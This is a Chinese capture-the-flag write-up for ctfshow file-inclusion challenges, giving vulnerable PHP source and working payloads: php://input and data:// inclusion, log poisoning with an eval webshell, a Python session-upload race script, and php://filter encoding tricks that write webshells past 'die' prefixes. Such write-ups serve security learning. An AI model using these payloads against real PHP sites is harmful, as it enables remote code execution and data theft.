ctfshow文件包含

news2025/7/12 13:36:23

web78

源码:

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);//高亮显示当前文件内容
}

解法一 - php://input

# http://challenge.ctf.show/?file=php://input
# [POST DATA]
<?php system('ls')?>
<?php system('cat flag.php')?>

在这里插入图片描述

解法二 - data://

  • ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpPz4=
  • ?file=data://text/plain,%3c%3fphp+system('cat+flag.php')%3f%3e

web79

相比上一题,过滤了php。

if(isset($_GET['file'])){
	$file = $_GET['file']; 
	$file = str_replace("php", "???", $file); 
    include($file);  
}else{
	highlight_file(__FILE__);  
}
  1. 大写绕过PHP://input
  2. ?file=data://text/plain,<?PHP system("ls")?>
  3. ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

web80-日志文件包含

这次把php和data伪协议都过滤了

$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);

大小写绕过,经过测试,data 协议无法使用 DATA 绕过。但php://input可以 PHP://input 绕过。

日志文件路径: /var/log/nginx/access.log

解法一:在User-Agent头添加一句话木马:<?php @eval($_POST['a'])?> ,蚁剑连接。

在这里插入图片描述

解法二:PHP://input

web81

$file = str_replace("php", "???", $file);    
$file = str_replace("data", "???", $file);    
$file = str_replace(":", "???", $file);

php伪协议不能用了,日志文件包含还是可以,见web80

82-86-session文件包含

$file = str_replace("php", "???", $file);    
$file = str_replace("data", "???", $file);    
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

83-86都是和82一样的脚本,只是通过一些手段加大了条件竞争的难度

import requests
import threading
import io
session = requests.session()
# 服务器会创建/tmp/sess_zidingyi 的会话文件
sessid='zidingyi'
url1 = 'http://challenge.ctf.show/'
url2 = url1+'?file=/tmp/sess_'+sessid
data1={
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2 = { '1':'system("cat f*");' }
file={ 'file':('a.txt',io.BytesIO(b'a'*1024*50))}
cookies={'PHPSESSID':sessid}

def write():
    while True:
        r=session.post(url1,data=data1,files=file,cookies=cookies)
def read():
    while True:
        r = session.post(url2,data=data2)
        if 'ctfshow{' in r.text:
            print(r.text)
            break
if __name__ == '__main__':
    threads=[ threading.Thread(target=write),threading.Thread(target=read)]
    for t in threads:
        t.start()

87 - 死亡代码

if(isset($_GET['file'])){   
	$file = $_GET['file'];    
	$content = $_POST['content'];   					 
	$file = str_replace("php", "???", $file);
	$file = str_replace("data", "???", $file);    
	$file = str_replace(":", "???", $file);    
	$file = str_replace(".", "???", $file);  
	file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);  
     
}else{ 
	highlight_file(__FILE__);  
}

法一、Base64解码,将死亡代码解码成乱码,使得php引擎无法识别。

?file=php://filter/write=convert.base64-decode/resource=1.php
↓ 双重URL全编码,网站提供了urldecode()否则不可用
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30

[POST DATA]
content=<?php system('tac f*.php');?>
↓ base64编码,长度一定是4的倍数
content=PD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=
↓ phpdie 需要填充两个字符,比如aa
content=aaPD9waHAgc3lzdGVtKCd0YWMgZioucGhwJyk7Pz4=

法二、rot13编码

# 双重url全编码
?file=php://filter/write=string.rot13/resource=1.php
# [POST DATA]
content=<?cuc flfgrz('gnp s*.cuc');?>  //<?php system('tac f*.php');?>

最后访问 /1.php 即可。

88

if(isset($_GET['file'])){    
	$file = $_GET['file'];  
	if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
		die("error");  
	}  
	include($file);  
}else{    
	highlight_file(__FILE__);  
}

没有过滤 “:” , 使用伪协议 data:// ,?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==

但是 “=” 被过滤了,我们知道 = 是因为base64编码最后两个字节被0给填充了才显示的,有两个空格说明,要补两个字节。

<?php system('tac *.php');?>aa
↓ ↓ ↓
PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh
# 最终答案
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/PmFh

116 misc

没学过逆向二进制,我也不懂这工具怎么用😂

  1. 下载视频
  2. 用十六进制工具查看(winhex、binwalk),结尾为IEND 有png图片!
  3. 用foremost分离提取出一张图片,发现是源码呢
  4. 直接访问 /?file=flag.php,然后"查看网页源代码",这个是mp4文件,比较特殊,方法一:view-source: ,方法二:抓包看

在这里插入图片描述

117 死亡代码

highlight_file(__FILE__);  
error_reporting(0);  
function filter($x){  
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){  
        die('too young too simple sometimes naive!');  
    }  
}  
$file=$_GET['file'];  
$contents=$_POST['contents'];  
filter($file);  
file_put_contents($file, "<?php die();?>".$contents);

Analyze: 没有过滤php,那么我们就可以通过php://filter/write来写入文件,然后通过编码绕过死亡函数,因为这里过滤了base64和rot13,string,所以得用其他的编码。

//ucs-2 两位一反转,字符的长度需要是偶数
<?php echo iconv("UCS-2LE","UCS-2BE",'<?php eval($_POST["x"]);?>')?>
//?<hp pvela$(P_SO[Tx"]";)>?
########################
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php 
# [post data]
contents=?<hp pvela$(P_SO[T]1;)>?

访问 /a.php
POST : 1=system(‘ls’);
1=system(‘tac flag.php;’);

参考

  • CSDN - 6right - 文件包含
  • 博客园 - すのはら荘的雪 - 文件包含总结
  • https://blog.csdn.net/qq_61237064/article/details/122460483

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/5531.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于可视图法(VG)的路径规划算法简述

可视图法路径规划&#xff08;VG&#xff09; 可视图法由Lozano-Perez和Wesley于1979年在论文&#xff1a;《An Algorithm for Planning Collision-Free Paths among Polyhedral Obstacles.》中提出。 基于可视图法路径规划算法主要包括以下两个步骤&#xff1a;①可视图的构建…

第二章 环境的选择和安装

1、开发环境操作系统 1.1 选择Windows、Mac or Linux 首先明确一点&#xff1a;我们的首要目的是要快速上手使用Elasticsearch&#xff08;以下简称ES&#xff09;&#xff0c;安装和部署ES并非重点&#xff0c;企业中真正需要你去安装的可能性或者机会非常小。大家可以想一想…

C++运算符重载

运算符重载运算符重载一、重载‘’运算符1.非成员函数版本重载2.成员函数版本二、重载关系运算符三、重载左移运算符四、重载下标运算符五、重载赋值运算符六、重载new和delete1.重载2.内存池七、重载括号运算符八、重载一元运算符运算符重载 C将运算符重载扩展到自定义的数据…

23 张图细讲使用 Devtron 简化 K8S 中应用开发

23 张图细讲使用 Devtron 简化 K8S 中应用开发 在本文中&#xff0c;您将学习如何在多集群环境中使用 Devtron 在 K8S 上进行应用开发。 https://devtron.ai/ Devtron 附带用于构建、部署和管理微服务的工具。它通过提供直观的 UI 和 Helm 图表支持来简化 K8S 上的部署。今天&a…

Java数据结构 | 模拟实现优先级队列

目录 一、前言 二、堆模拟实现优先级队列 2.1 堆的概念 2.2 堆的性质 2.3 堆的存储方式 2.4 堆的创建 一、前言 在前面我们学习过队列&#xff0c;队列是一种先进先出(FIFO)的数据结构&#xff0c;但有些情况下&#xff0c;操作的数据可能带有优先级&#xff0c;一般出队…

mybatis-plus代码生成工具

mybatis-plus版本升级尝试遇到的问题 若遇到高版本&#xff1a;【全局覆盖已有文件的配置已失效&#xff0c;已迁移到策略配置中】or【覆盖已有文件&#xff08;已迁移到策略配置中&#xff0c;3.5.4版本会删除此方法&#xff09;】这句话&#xff0c;可参考文章中解决办法 参考…

python机器人编程——基于单目视觉、固定场景下的自动泊车(下)

目录一、前言二、主要思路step0 设定一个中间位置step1 掉转马头step2 直线匀速前进step3 调整姿态step4 视觉匹配三、效果四、全篇总结一、前言 本篇来讨论一下在固定场景下&#xff0c;如何仅通过单目视觉&#xff0c;实现差速小车的自动停靠&#xff0c;这种方式实现成本比…

_cpp 位图

文章目录1. 位图概念1.1 给40亿个不重复的无符号整数&#xff0c;没排过序。给一个无符号整数&#xff0c;如何快速判断一个数是否在这40亿个数中。2. 位图的实现2.1 运行结果&#xff1a;3. 位图应用3.1 具体代码封装实现如下3.2 部分结果演示&#xff1a;3.3 应用总结&#x…

力扣(LeetCode)791. 自定义字符串排序(C++)

排序 这道题只关心 orderorderorder 出现的字符&#xff0c;在 sss 中的排序。 sss 中不在 orderorderorder 的字符&#xff0c;在排序后是什么位置&#xff0c;不影响答案。 可以用 sortsortsort 函数&#xff0c;传入我们自定义的排序方式&#xff0c;按照 orderorderorder …

【JavaSE】类和对象 (二) —— 封装、包以及 static 关键字

目录 1. 封装 1.1 封装的概念 1.2 访问限定符 2. 包 2.1 包的概念 2.2 导入包中的类 2.3 自定义包 2.3.1 包的基本规则 2.3.2 创建一个包 2.4 包访问权限——defualt 3. 何为封装 3.1 private 关键字 4. static 成员 4.1 对学生类的进一步思考 4.2 static 修饰成员变量 4.3 …

计算机毕业设计之java+javaweb的物业管理系统

项目介绍 系统权限按管理员,物业和住户这三类涉及用户划分。 (a) 管理员&#xff1a;管理员使用本系统涉到的功能主要有&#xff1a;首页,个人中心,用户管理,员工管理,房屋类型管理,房源信息管理,房屋预约管理,订单信息管理,我的收藏管理,系统管理等功能。 (b) 住户&#xf…

基于单片机的导盲拐杖设计

目 录 引言 1 1 系统概述 1 1.1 设计研究的背景和意义 1 1.2 本次设计内容 1 2 系统设计的整体方案 2 2.1 主控芯片的方案论证 2 2.2 显示模块的方案论证 3 2.3 本章小节 4 3 系统硬件电路设计 4 3.1 单片机最小系统的电路设计 4 3.1.1 STC…

李峋同款爱心代码!跳动的心,给你爱的人一个惊喜!

Hello 大家好 如何浪漫的表白&#xff0c;作为程序员出身的小编&#xff0c;今天就带你实现热播剧《点燃我&#xff0c;温暖你》中超火的李峋同款爱心代码&#xff01;前面是教程&#xff0c;怕麻烦的朋友可以直接划到文末&#xff0c;下载现成的&#xff0c;下载完成后打开就可…

java毕业设计基于的校园头条新闻管理系统的设计与实现(附源码、数据库)

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat8.5 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; Springboot mybatis Maven Vue 等等组成&#xff0c;B/…

【Linux】基础:进程地址空间

【Linux】基础&#xff1a;进程地址空间 摘要&#xff1a;本文首先通过复习关于C语言内存空间的知识来做实验提出问题&#xff0c;从而引入进程的地址空间。需要理解的是进程地址空间的组织形式与其表示意义&#xff0c;在需要理解如何完成进程地址空间的划分以及关键对应物理内…

C++12 ---对象于对象的关系

一、对象于对象的关系 在一个系统中&#xff0c;一个对象可能与不同的对象相关&#xff0c;以下是不同的关系。 依赖(Dependency) (使用一个) 关联(Association) (使用一个) 聚合(Aggregation) (有一个) 组合(Composition ) (有一个&#xff0c;"用..来实现") …

从Matlab实例学习遗传算法

文章目录前言问题背景遗传算法Matlab实例代码附录君主方案遗传算法解决旅行商问题前言 本文旨在使用智能优化算法及其MATLAB实例&#xff08;第2版&#xff09; 一书中的例子&#xff0c;来透彻理解遗传算法的本质。 问题背景 目标&#xff1a; 求解最大化函数 f(x)x10sin⁡…

2023最新SSM计算机毕业设计选题大全(附源码+LW)之java星光之夜香水网站的设计与开发bfmcr

大学计算机专业毕业的&#xff0c;实际上到了毕业的时候&#xff0c;基本属于会与不会之间。说会&#xff0c;是因为学了整套的理论和方法&#xff0c;就是所谓的科班出身。说不会&#xff0c;是因为实践能力极差。 不会的问题&#xff0c;集中体现在毕设的时候&#xff0c;系…

CTFSHOW菜狗杯 web

文章目录web签到web2 c0me_t0_s1gn我的眼里只有$抽老婆一言既出驷马难追TapTapTapWebshell化零为整无一幸免传说之下&#xff08;雾&#xff09;算力超群算力升级2遍地飘零茶歇区小舔田&#xff1f;LSB探姬Is_Not_Obfuscate龙珠NFTweb签到 eval($_REQUEST[$_GET[$_POST[$_COOK…

Ubuntu22.04虚拟机配置双网

文章目录Ubuntu22.04虚拟机配置双网一、 虚拟机网络1、 简介1.1 概述1.2 四种网络2、 配置双网2.1 NAT2.2 主机模式3、 添加到虚拟机二、 ubuntu设置Ubuntu22.04虚拟机配置双网 一、 虚拟机网络 1、 简介 1.1 概述 近期在使用VirtualBox的时候遇到这样的场景&#xff0c;我…